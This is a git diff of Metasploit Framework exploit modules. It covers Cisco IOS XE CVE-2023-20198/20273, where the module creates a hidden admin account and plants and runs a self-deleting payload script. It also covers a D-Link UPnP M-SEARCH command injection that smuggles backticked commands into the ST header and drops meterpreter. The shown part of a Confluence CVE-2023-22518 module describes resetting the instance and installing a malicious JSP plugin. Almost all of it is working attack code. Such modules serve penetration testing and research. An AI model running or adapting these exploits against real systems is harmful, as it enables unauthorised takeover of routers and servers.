16.11.1, 16.11.1a, 16.11.1b, 16.11.2, 16.11.1s, 16.11.1c, 16.12.1, 16.12.1s, + 16.12.1a, 16.12.1c, 16.12.1w, 16.12.2, 16.12.1y, 16.12.2a, 16.12.3, 16.12.8, 16.12.2s, + 16.12.1x, 16.12.1t, 16.12.2t, 16.12.4, 16.12.3s, 16.12.1z, 16.12.3a, 16.12.4a, 16.12.5, + 16.12.6, 16.12.1z1, 16.12.5a, 16.12.5b, 16.12.1z2, 16.12.6a, 16.12.7, 16.12.9, 16.12.10, + 17.1.1, 17.1.1a, 17.1.1s, 17.1.2, 17.1.1t, 17.1.3, 17.2.1, 17.2.1r, 17.2.1a, 17.2.1v, + 17.2.2, 17.2.3, 17.3.1, 17.3.2, 17.3.3, 17.3.1a, 17.3.1w, 17.3.2a, 17.3.1x, 17.3.1z, + 17.3.3a, 17.3.4, 17.3.5, 17.3.4a, 17.3.6, 17.3.4b, 17.3.4c, 17.3.5a, 17.3.5b, 17.3.7, + 17.3.8, 17.4.1, 17.4.2, 17.4.1a, 17.4.1b, 17.4.1c, 17.4.2a, 17.5.1, 17.5.1a, 17.5.1b, + 17.5.1c, 17.6.1, 17.6.2, 17.6.1w, 17.6.1a, 17.6.1x, 17.6.3, 17.6.1y, 17.6.1z, 17.6.3a, + 17.6.4, 17.6.1z1, 17.6.5, 17.6.6, 17.7.1, 17.7.1a, 17.7.1b, 17.7.2, 17.10.1, 17.10.1a, + 17.10.1b, 17.8.1, 17.8.1a, 17.9.1, 17.9.1w, 17.9.2, 17.9.1a, 17.9.1x, 17.9.1y, 17.9.3, + 17.9.2a, 17.9.1x1, 17.9.3a, 17.9.4, 17.9.1y1, 17.11.1, 17.11.1a, 17.12.1, 17.12.1a, + 17.11.99SW + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'sfewer-r7', # MSF Exploit + ], + 'References' => [ + ['CVE', '2023-20198'], + ['CVE', '2023-20273'], + # Vendor advisories. + ['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z'], + ['URL', 'https://blog.talosintelligence.com/active-exploitation-of-cisco-ios-xe-software/'], + # Vendor list of (205) vulnerable versions. + ['URL', 'https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-iosxe-webui-privesc-j22SaA4z/cvrf/cisco-sa-iosxe-webui-privesc-j22SaA4z_cvrf.xml'], + # Technical details on CVE-2023-20198. + ['URL', 'https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-theory-crafting/'], + ['URL', 'https://www.horizon3.ai/cisco-ios-xe-cve-2023-20198-deep-dive-and-poc/'], + # Technical details on CVE-2023-20273. + ['URL', 'https://blog.leakix.net/2023/10/cisco-root-privesc/'], + # Full details of a successful exploitation attempt from a honey pot. + ['URL', 'https://gist.github.com/rashimo/a0ef01bc02e5e9fdf46bc4f3b5193cbf'], + ], + 'DisclosureDate' => '2023-10-16', + 'Privileged' => true, + 'Platform' => %w[linux unix], + 'Arch' => [ARCH_CMD], + 'Targets' => [ + [ + # Tested against IOS XE 16.12.3 and 17.3.2 with the following payloads: + # cmd/linux/http/x64/meterpreter/reverse_tcp + # cmd/linux/http/x64/shell/reverse_tcp + # cmd/linux/http/x86/shell/reverse_tcp + 'Linux Command', + { + 'Platform' => 'linux', + 'Arch' => [ARCH_CMD] + }, + ], + [ + # Tested against IOS XE 16.12.3 and 17.3.2 with the following payloads: + # cmd/unix/python/meterpreter/reverse_tcp + # cmd/unix/reverse_bash + 'Unix Command', + { + 'Platform' => 'unix', + 'Arch' => [ARCH_CMD] + }, + ] + ], + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => 443, + 'SSL' => true + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS] + } + ) + ) + + register_options( + [ + # We allow a user to specify the VRF name to route traffic for the payloads network transport. The default of + # 'global' should work, but exposing this as an option will allow for usage in more complex network setups. + # A user could leverage the auxiliary module auxiliary/admin/http/cisco_ios_xe_cli_exec_cve_2023_20198 to + # inspect a devices configuration to see an appropriate VRF to use. + OptString.new('CISCO_VRF_NAME', [ true, "The virtual routing and forwarding (vrf) name to use. Both 'fwd' or 'global' have been tested to work.", 'global']), + # We may need to try and execute a command a second time if it fails the first time. This option is the maximum + # number of seconds to keep trying. + OptInt.new('CISCO_CMD_TIMEOUT', [true, 'The maximum timeout (in seconds) to wait when trying to execute a command.', 30]) + ] + ) + end + + def check + # First, a get request to the root of the Web UI, this lets us verify the target is a Cisco IOS XE device with + # the Web UI exposed (which is the vulnerable component). + res = send_request_cgi( + 'method' => 'GET', + 'uri' => normalize_uri('webui') + ) + + return CheckCode::Unknown('Connection failed') unless res + + # We look for one of two identifiers to ensure the request to /webui above returns something with Cisco in the content. + if res.code != 200 || (!res.body.include?('Cisco Systems, Inc.') || !res.headers['Content-Security-Policy']&.include?('cisco.com')) + return CheckCode::Unknown('Web UI not detected') + end + + # By here we know the target is the IOS XE Web UI. We leverage the vulnerability to pull out the version number, + # so if this request succeeds, then we known the target is vulnerable. + res = run_cli_command('show version', Mode::PRIVILEGED_EXEC) + + # If the above request failed, then the target is safe. + return CheckCode::Safe unless res + + version = 'Cisco IOS XE Software' + + # If we can pull out the version number via a regex, we do. If this fails, the target is still vulnerable + # (as the above call to run_cli_command succeeded), however maybe this firmware version uses a different format + # for the version information so our regex wont work. + # Note: Version numbers can have letters in them, e.g. 17.11.99SW or 16.12.1z2 + if res =~ /(Cisco IOS XE Software, Version \S+\.\S+\.\S+)/ + version = Regexp.last_match(1) + end + + CheckCode::Vulnerable(version) + end + + def exploit + admin_username = rand_text_alpha(8) + admin_password = rand_text_alpha(8) + + # Leverage CVE-2023-20198 to run an arbitrary CLI command and create a new admin user account. + unless run_cli_command("username #{admin_username} privilege 15 secret #{admin_password}", Mode::GLOBAL_CONFIGURATION) + fail_with(Failure::UnexpectedReply, 'Failed to create admin user') + end + + begin + print_status("Created privilege 15 user '#{admin_username}' with password '#{admin_password}'") + + # Leverage CVE-2023-20273 to run an arbitrary OS commands and bootstrap a Metasploit payload... + + # A shell script to execute the Metasploit payload. Will delete itself upon execution. + bootstrap_script = "#!/bin/sh\nrm -f $0\n#{payload.encoded}" + + # The location of our bootstrap script. + bootstrap_file = "/tmp/#{Rex::Text.rand_text_alpha(8)}" + + # NOTE: Rather than chaining the commands with a semicolon, we run them separately. This allows version 16.* and + # 17.8 to work as expected. Version 16.* did not work when semi colons were present in the command line. + + # Write a script to disk which will execute the Metasploit payload. We base64 encode it to avoid any problems + # with restricted chars, and leverage openssl to decode and write the contents to disk. + success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do + next run_os_command("openssl enc -base64 -out #{bootstrap_file} -d <<< #{Base64.strict_encode64(bootstrap_script)}", admin_username, admin_password) + end + + unless success + fail_with(Failure::UnexpectedReply, 'Failed to plant the bootstrap file') + end + + # Make the script executable. + success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do + next run_os_command("chmod +x #{bootstrap_file}", admin_username, admin_password) + end + + unless success + fail_with(Failure::UnexpectedReply, 'Failed to chmod the bootstrap file') + end + + # Execute our bootstrap script via mcp_chvrf.sh, and with 'global' virtual routing and forwarding (vrf) by + # default. The VRF allows the executed script to route its network traffic back the the framework. The map_chvrf.sh + # scripts wraps a call to /usr/sbin/chvrf, which will conveniently fork the command we supply. + success = retry_until_truthy(timeout: datastore['CISCO_CMD_TIMEOUT']) do + next run_os_command("/usr/binos/conf/mcp_chvrf.sh #{datastore['CISCO_VRF_NAME']} sh #{bootstrap_file}", admin_username, admin_password) + end + + unless success + fail_with(Failure::UnexpectedReply, 'Failed to execute the bootstrap file') + end + ensure + print_status("Removing user '#{admin_username}'") + + # Leverage CVE-2023-20198 to remove the admin account we previously created. + unless run_cli_command("no username #{admin_username}", Mode::GLOBAL_CONFIGURATION) + print_warning('Failed to remove user') + end + end + end + +end diff --git a/modules/exploits/linux/upnp/dlink_dir859_exec_ssdpcgi.rb b/modules/exploits/linux/upnp/dlink_dir859_exec_ssdpcgi.rb index 6cf8b68fe7..e772d094a3 100644 --- a/modules/exploits/linux/upnp/dlink_dir859_exec_ssdpcgi.rb +++ b/modules/exploits/linux/upnp/dlink_dir859_exec_ssdpcgi.rb @@ -8,6 +8,9 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Udp include Msf::Exploit::CmdStager + include Msf::Module::Deprecated + + deprecated(Date.new(2024, 12, 1), 'Use `exploit/linux/upnp/dlink_upnp_msearch_exec` instead') def initialize(info = {}) super(update_info(info, diff --git a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb index 80e064204f..68456d2078 100644 --- a/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb +++ b/modules/exploits/linux/upnp/dlink_upnp_msearch_exec.rb @@ -6,142 +6,377 @@ class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking + include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager + include Msf::Exploit::Remote::Udp + prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) - super(update_info(info, - 'Name' => 'D-Link Unauthenticated UPnP M-SEARCH Multicast Command Injection', - 'Description' => %q{ - Different D-Link Routers are vulnerable to OS command injection via UPnP Multicast - requests. This module has been tested on DIR-300 and DIR-645 devices. Zachary Cutlip - has initially reported the DIR-815 vulnerable. Probably there are other devices also - affected. - }, - 'Author' => - [ - 'Zachary Cutlip', # Vulnerability discovery and initial exploit - 'Michael Messner ' # Metasploit module and verification on other routers + super( + update_info( + info, + 'Name' => 'D-Link Unauthenticated Remote Command Execution using UPnP via a special crafted M-SEARCH packet.', + 'Description' => %q{ + A command injection vulnerability exists in multiple D-Link network products, allowing an attacker + to inject arbitrary command to the UPnP via a crafted M-SEARCH packet. + Universal Plug and Play (UPnP), by default is enabled in most D-Link devices, on the port 1900. + An attacker can perform a remote command execution by injecting the payload into the + `Search Target` (ST) field of the SSDP M-SEARCH discover packet. + After successful exploitation, an attacker will have full access with `root` user privileges. + + NOTE: Staged meterpreter payloads might core dump on the target, so use stage-less meterpreter payloads + when using the Linux Dropper target. Some D-Link devices do not have the `wget` command so + configure `echo` as flavor with the command set CMDSTAGER::FLAVOR echo. + + The following D-Link network products and firmware are vulnerable: + - D-Link Router model GO-RT-AC750 revisions Ax with firmware v1.01 or older; + - D-Link Router model DIR-300 revisions Ax with firmware v1.06 or older; + - D-Link Router model DIR-300 revisions Bx with firmware v2.15 or older; + - D-Link Router model DIR-600 revisions Bx with firmware v2.18 or older; + - D-Link Router model DIR-645 revisions Ax with firmware v1.05 or older; + - D-Link Router model DIR-815 revisions Bx with firmware v1.04 or older; + - D-Link Router model DIR-816L revisions Bx with firmware v2.06 or older; + - D-Link Router model DIR-817LW revisions Ax with firmware v1.04b01_hotfix or older; + - D-Link Router model DIR-818LW revisions Bx with firmware v2.05b03_Beta08 or older; + - D-Link Router model DIR-822 revisions Bx with firmware v2.03b01 or older; + - D-Link Router model DIR-822 revisions Cx with firmware v3.12b04 or older; + - D-Link Router model DIR-823 revisions Ax with firmware v1.00b06_Beta or older; + - D-Link Router model DIR-845L revisions Ax with firmware v1.02b05 or older; + - D-Link Router model DIR-860L revisions Ax with firmware v1.12b05 or older; + - D-Link Router model DIR-859 revisions Ax with firmware v1.06b01Beta01 or older; + - D-Link Router model DIR-860L revisions Ax with firmware v1.10b04 or older; + - D-Link Router model DIR-860L revisions Bx with firmware v2.03b03 or older; + - D-Link Router model DIR-865L revisions Ax with firmware v1.07b01 or older; + - D-Link Router model DIR-868L revisions Ax with firmware v1.12b04 or older; + - D-Link Router model DIR-868L revisions Bx with firmware v2.05b02 or older; + - D-Link Router model DIR-869 revisions Ax with firmware v1.03b02Beta02 or older; + - D-Link Router model DIR-880L revisions Ax with firmware v1.08b04 or older; + - D-Link Router model DIR-890L/R revisions Ax with firmware v1.11b01_Beta01 or older; + - D-Link Router model DIR-885L/R revisions Ax with firmware v1.12b05 or older; + - D-Link Router model DIR-895L/R revisions Ax with firmware v1.12b10 or older; + - probably more looking at the scale of impacted devices :-( + }, + 'License' => MSF_LICENSE, + 'Author' => [ + 'h00die-gr3y ', # MSF module contributor + 'Zach Cutlip', # Discovery of the vulnerability + 'Michael Messner ', + 'Miguel Mendez Z. (s1kr10s)', + 'Pablo Pollanco (secenv)', + 'Naihsin https://github.com/naihsin' + ], - 'License' => MSF_LICENSE, - 'References' => - [ - ['URL', 'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection'], # original exploit - ['URL', 'http://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html'] # original exploit + 'References' => [ + ['CVE', '2023-33625'], + ['CVE', '2020-15893'], + ['CVE', '2019-20215'], + ['URL', 'https://attackerkb.com/topics/uqicA23ecz/cve-2023-33625'], + ['URL', 'https://github.com/zcutlip/exploit-poc/tree/master/dlink/dir-815-a1/upnp-command-injection'], + ['URL', 'https://medium.com/@s1kr10s/d-link-dir-859-unauthenticated-rce-in-ssdpcgi-http-st-cve-2019-20215-en-2e799acb8a73'], + ['URL', 'https://shadow-file.blogspot.com/2013/02/dlink-dir-815-upnp-command-injection.html'], + ['URL', 'https://research.loginsoft.com/vulnerability/multiple-vulnerabilities-discovered-in-the-d-link-firmware-dir-816l/'], + ['URL', 'https://github.com/naihsin/IoT/blob/main/D-Link/DIR-600/cmd%20injection/README.md'] ], - 'DisclosureDate' => '2013-02-01', - 'Privileged' => true, - 'Targets' => - [ - [ 'MIPS Little Endian', + 'DisclosureDate' => '2013-02-01', + 'Platform' => ['unix', 'linux'], + 'Arch' => [ARCH_CMD, ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE], + 'Privileged' => true, + 'Targets' => [ + [ + 'Unix Command', { - 'Platform' => 'linux', - 'Arch' => ARCH_MIPSLE + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Type' => :unix_cmd, + 'DefaultOptions' => { + 'PAYLOAD' => 'cmd/unix/bind_busybox_telnetd' + } } ], - [ 'MIPS Big Endian', # unknown if there are big endian devices out there + [ + 'Linux Dropper', { 'Platform' => 'linux', - 'Arch' => ARCH_MIPSBE + 'Arch' => [ARCH_MIPSLE, ARCH_MIPSBE, ARCH_ARMLE], + 'Type' => :linux_dropper, + 'CmdStagerFlavor' => ['echo', 'wget'], + 'Linemax' => 900, + 'DefaultOptions' => { + 'PAYLOAD' => 'linux/mipsbe/meterpreter_reverse_tcp' + } } ] ], - 'DefaultTarget' => 0 - )) + 'DefaultTarget' => 0, + 'DefaultOptions' => { + 'RPORT' => 1900, + 'SSL' => false + }, + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION], + 'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK] + } + ) + ) + register_options([ + OptString.new('URN', [true, 'Set URN payload', 'urn:device:1']), + OptPort.new('HTTP_PORT', [true, 'The HTTP port for the HTTP and SOAP requests sent to detect versions', 80]) + ]) + end - register_options( - [ - Opt::RHOST(), - Opt::RPORT(1900) - ]) + def vuln_version?(res) + # checks the model, firmware and hardware version + @d_link = { 'product' => nil, 'firmware' => nil, 'hardware' => nil, 'arch' => nil } + html = Nokogiri.HTML(res.body, nil, 'UTF-8') - deregister_options('CMDSTAGER::DECODER', 'CMDSTAGER::FLAVOR') + # USE CASE #1: D-link devices with static HTML pages with model and version information + # class identifiers: , and + # See USE CASE #4 for D-link devices that use javascript to dynamically generate the model and firmware version + product = html.css('span[@class="product"]') + @d_link['product'] = product[0].text.split(':')[1].strip unless product[0].nil? + firmware = html.css('span[@class="version"]') + @d_link['firmware'] = firmware[0].text.split(':')[1].strip.delete(' ') unless firmware[0].nil? + + # DIR-600, DIR-300 hardware B revision and maybe other models are using the "version" class tag for both firmware and hardware version + @d_link['hardware'] = firmware[1].text.split(':')[1].strip unless firmware[1].nil? + # otherwise search for the "hwversion" class tag + hardware = html.css('span[@class="hwversion"]') + @d_link['hardware'] = hardware[0].text.split(':')[1].strip unless hardware[0].nil? + + # USE CASE #2: D-link devices with static HTML pages with model and version information + # class identifiers:
,
and
+ if @d_link['product'].nil? + product = html.css('div[@class="pp"]') + @d_link['product'] = product[0].text.split(':')[1].strip unless product[0].nil? + firmware = html.css('div[@class="fwv"]') + @d_link['firmware'] = firmware[0].text.split(':')[1].strip.delete(' ') unless firmware[0].nil? + hardware = html.css('div[@class="hwv"]') + @d_link['hardware'] = hardware[0].text.split(':')[1].strip unless hardware[0].nil? + end + + # USE CASE #3: D-link devices with html below for model, firmware and hardware version + # Product Page : DIR-300    + # Hardware Version : rev N/A  + # Firmware Version : 1.06  + if @d_link['product'].nil? + hwinfo_table = html.css('td') + hwinfo_table.each do |hwinfo| + @d_link['product'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Product Page/i || hwinfo.text =~ /Product/i + @d_link['hardware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Hardware Version/i + @d_link['firmware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /Firmware Version/i + end + end + + # USE CASE #4: D-Link devices with HTML listed below that contains the model, firmware and hardware version + # + # + # + # + # + # + # + #
  : DIR-835: A1  : 1.04 
+ if @d_link['product'].nil? + hwinfo_table = html.css('table#header_container td') + hwinfo_table.each do |hwinfo| + @d_link['product'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(TA2\)/i + @d_link['hardware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(TA3\)/i + @d_link['firmware'] = hwinfo.text.split(':')[1].strip.gsub(/\p{Space}*/u, '') if hwinfo.text =~ /show_words\(sd_FWV\)/i + end + end + + # USE CASE #5: D-Link devices with dynamically generated version and hardware information + # Create HNAP POST request to get these hardware details + if @d_link['product'].nil? + xml_soap_data = <<~EOS + + + + + + + EOS + res = send_request_cgi({ + 'rport' => datastore['HTTP_PORT'], + 'method' => 'POST', + 'ctype' => 'text/xml', + 'uri' => normalize_uri(target_uri.path, 'HNAP1', '/'), + 'data' => xml_soap_data.to_s, + 'headers' => { + 'SOAPACTION' => '"http://purenetworks.com/HNAP1/GetDeviceSettings"' + } + }) + if res && res.code == 200 && res.body.include?('OK') + xml = res.get_xml_document + unless xml.blank? + xml.remove_namespaces! + @d_link['product'] = xml.css('ModelName').text + @d_link['firmware'] = xml.css('FirmwareVersion').text.delete(' ') + @d_link['hardware'] = xml.css('HardwareVersion').text + end + end + end + + # USE CASE #6: D-Link devices with dynamically generated version and hardware information + # Create a DHMAPI POST request to get these hardware details + if @d_link['product'].nil? + xml_soap_data = <<~EOS + + + + + + + EOS + res = send_request_cgi({ + 'rport' => datastore['HTTP_PORT'], + 'method' => 'POST', + 'ctype' => 'text/xml', + 'uri' => normalize_uri(target_uri.path, 'DHMAPI', '/'), + 'data' => xml_soap_data.to_s, + 'headers' => { + 'API-ACTION' => 'GetDeviceSettings' + } + }) + if res && res.code == 200 && res.body.include?('OK') + xml = res.get_xml_document + unless xml.blank? + xml.remove_namespaces! + @d_link['product'] = xml.css('ModelName').text + @d_link['firmware'] = xml.css('FirmwareVersion').text.delete(' ') + @d_link['hardware'] = xml.css('HardwareVersion').text + end + end + end + + # check the vulnerable product and firmware versions + case @d_link['product'] + when 'GO-RT-AC750' + @d_link['arch'] = 'mipsbe' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.01') && @d_link['hardware'][0] == 'A' + when 'DIR-300' + if Rex::Version.new(@d_link['firmware']) >= Rex::Version.new('2.00') && Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.15') # hardware version B + @d_link['arch'] = 'mipsle' + return true + elsif Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.06') # hardware version A + @d_link['arch'] = 'mipsbe' + return true + end + when 'DIR-600' + @d_link['arch'] = 'mipsle' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.18') && @d_link['hardware'][0] == 'B' + when 'DIR-645' + @d_link['arch'] = 'mipsle' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.05') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A') + when 'DIR-815' + @d_link['arch'] = 'mipsle' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.04') + when 'DIR-816L' + @d_link['arch'] = 'mipsbe' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.06') && (@d_link['hardware'][0] == 'B' || @d_link['hardware'] == 'N/A') + when 'DIR-817LW' + @d_link['arch'] = 'mipsbe' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.04') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A') + when 'DIR-818LW', 'DIR-818L' + @d_link['arch'] = 'mipsbe' + return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.04') && @d_link['hardware'][0] == 'B' + + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.05') && @d_link['hardware'][0] == 'A' + when 'DIR-822' + @d_link['arch'] = 'mipsbe' + return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.03') && @d_link['hardware'][0] == 'B' + + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('3.12') && @d_link['hardware'][0] == 'C' + when 'DIR-823' + @d_link['arch'] = 'mipsbe' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.00') && @d_link['hardware'][0] == 'A' + when 'DIR-845L' + @d_link['arch'] = 'mipsle' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.02') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A') + when 'DIR-850L' + @d_link['arch'] = 'mipsbe' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && (@d_link['hardware'][0] == 'A' || @d_link['hardware'] == 'N/A') + when 'DIR-859' + @d_link['arch'] = 'mipsbe' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.06') && @d_link['hardware'][0] == 'A' + when 'DIR-860L' + @d_link['arch'] = 'armle' + return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.10') && @d_link['hardware'][0] == 'A' + + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.03') && @d_link['hardware'][0] == 'B' + when 'DIR-865L' + @d_link['arch'] = 'mipsle' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.07') && @d_link['hardware'][0] == 'A' + when 'DIR-868L' + @d_link['arch'] = 'armle' + return true if Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A' + + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('2.05') && @d_link['hardware'][0] == 'B' + when 'DIR-869' + @d_link['arch'] = 'mipsbe' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.03') && @d_link['hardware'][0] == 'A' + when 'DIR-880L' + @d_link['arch'] = 'armle' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.08') && @d_link['hardware'][0] == 'A' + when 'DIR-890L', 'DIR-890R' + @d_link['arch'] = 'armle' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.11') && @d_link['hardware'][0] == 'A' + when 'DIR-885L', 'DIR-885R' + @d_link['arch'] = 'armle' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A' + when 'DIR-895L', 'DIR-895R' + @d_link['arch'] = 'armle' + return Rex::Version.new(@d_link['firmware']) <= Rex::Version.new('1.12') && @d_link['hardware'][0] == 'A' + end + false + end + + def execute_command(cmd, _opts = {}) + payload = "#{datastore['URN']};`#{cmd}`" + + connect_udp + header = "M-SEARCH * HTTP/1.1\r\n" + header << 'HOST:' + datastore['RHOST'].to_s + ':' + datastore['RPORT'].to_s + "\r\n" + header << "ST:#{payload}\r\n" + header << "MX:2\r\n" + header << "MAN:\"ssdp:discover\"\r\n\r\n" + udp_sock.put(header) + disconnect_udp end def check - configure_socket + print_status("Checking if #{peer} can be exploited.") + res = send_request_cgi!({ + 'rport' => datastore['HTTP_PORT'], + 'method' => 'GET', + 'ctype' => 'application/x-www-form-urlencoded', + 'uri' => normalize_uri(target_uri.path) + }) + # Check if target is a D-Link network device + return CheckCode::Unknown('No response received from target.') unless res + return CheckCode::Safe('Likely not a D-Link network device.') unless res.code == 200 && res.body =~ /d-?link/i - pkt = - "M-SEARCH * HTTP/1.1\r\n" + - "Host:239.255.255.250:1900\r\n" + - "ST:upnp:rootdevice\r\n" + - "Man:\"ssdp:discover\"\r\n" + - "MX:2\r\n\r\n" + # check if firmware version is vulnerable + return CheckCode::Appears("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") if vuln_version?(res) + # D-link devices with fixed firmware versions + return CheckCode::Safe("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") unless @d_link['arch'].nil? + # D-link devices that still could be vulnerable with product information + return CheckCode::Detected("Product info: #{@d_link['product']}|#{@d_link['firmware']}|#{@d_link['hardware']}|#{@d_link['arch']}") unless @d_link['product'].nil? - udp_sock.sendto(pkt, rhost, rport, 0) - - res = nil - 1.upto(5) do - res,_,_ = udp_sock.recvfrom(65535, 1.0) - break if res and res =~ /SERVER:\ Linux,\ UPnP\/1\.0,\ DIR-...\ Ver/mi - udp_sock.sendto(pkt, rhost, rport, 0) - end - - # UPnP response: - # [*] 192.168.0.2:1900 SSDP Linux, UPnP/1.0, DIR-645 Ver 1.03 | http://192.168.0.2:49152/InternetGatewayDevice.xml | uuid:D02411C0-B070-6009-39C5-9094E4B34FD1::urn:schemas-upnp-org:device:InternetGatewayDevice:1 - # we do not check for the Device ID (DIR-645) and for the firmware version because there are different - # dlink devices out there and we do not know all the vulnerable versions - - if res && res =~ /SERVER:\ Linux,\ UPnP\/1.0,\ DIR-...\ Ver/mi - return Exploit::CheckCode::Detected - end - - Exploit::CheckCode::Unknown - end - - def execute_command(cmd, opts) - configure_socket - - pkt = - "M-SEARCH * HTTP/1.1\r\n" + - "Host:239.255.255.250:1900\r\n" + - "ST:uuid:`#{cmd}`\r\n" + - "Man:\"ssdp:discover\"\r\n" + - "MX:2\r\n\r\n" - - udp_sock.sendto(pkt, rhost, rport, 0) + # D-link devices that still could be vulnerable but no product information available + return CheckCode::Detected end def exploit - print_status("#{peer} - Trying to access the device via UPnP ...") - - unless check == Exploit::CheckCode::Detected - fail_with(Failure::Unknown, "#{peer} - Failed to access the vulnerable device") + print_status("Executing #{target.name} for #{datastore['PAYLOAD']}") + case target['Type'] + when :unix_cmd + execute_command(payload.encoded) + when :linux_dropper + # Don't check the response here since the server won't respond + # if the payload is successfully executed. + execute_cmdstager({ linemax: target.opts['Linemax'] }) end - - print_status("#{peer} - Exploiting...") - execute_cmdstager( - :flavor => :echo, - :linemax => 950 - ) end - - # the packet stuff was taken from the module miniupnpd_soap_bof.rb - # We need an unconnected socket because SSDP replies often come - # from a different sent port than the one we sent to. This also - # breaks the standard UDP mixin. - def configure_socket - self.udp_sock = Rex::Socket::Udp.create({ - 'Context' => { 'Msf' => framework, 'MsfExploit' => self } - }) - add_socket(self.udp_sock) - end - - # Need to define our own rhost/rport/peer since we aren't - # using the normal mixins - - def rhost - datastore['RHOST'] - end - - def rport - datastore['RPORT'] - end - - def peer - "#{rhost}:#{rport}" - end - - # Accessor for our UDP socket - attr_accessor :udp_sock - end diff --git a/modules/exploits/multi/http/atlassian_confluence_unauth_backup.rb b/modules/exploits/multi/http/atlassian_confluence_unauth_backup.rb new file mode 100644 index 0000000000..bb6fb9ed56 --- /dev/null +++ b/modules/exploits/multi/http/atlassian_confluence_unauth_backup.rb @@ -0,0 +1,156 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::Version + include Msf::Exploit::Remote::HTTP::Atlassian::Confluence::PayloadPlugin + + prepend Msf::Exploit::Remote::AutoCheck + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'Atlassian Confluence Unauth JSON setup-restore Improper Authorization leading to RCE (CVE-2023-22518)', + 'Description' => %q{ + This Improper Authorization vulnerability allows an unauthenticated attacker to reset Confluence and create a + Confluence instance administrator account. Using this account, an attacker can then perform all + administrative actions that are available to Confluence instance administrator. This module uses the + administrator account to install a malicious .jsp servlet plugin which the user can trigger to gain code + execution on the target in the context of the of the user running the confluence server. + }, + 'Author' => [ + 'Atlassian', # Discovery + 'jheysel-r7' # msf module + ], + 'References' => [ + [ 'URL', 'https://jira.atlassian.com/browse/CONFSERVER-93142'], + [ 'CVE', '2023-22518'] + ], + 'License' => MSF_LICENSE, + 'Privileged' => false, + 'Targets' => [ + [ + 'Java', + { + 'Platform' => 'java', + 'Arch' => [ARCH_JAVA] + }, + ] + ], + 'DisclosureDate' => '2023-10-31', + 'Notes' => { + 'Stability' => [ CRASH_SAFE, ], + 'SideEffects' => [ CONFIG_CHANGES, ], # Major config changes - this module overwrites the confluence server with an empty backup with known admin credentials + 'Reliability' => [ REPEATABLE_SESSION, ] + } + ) + ) + + 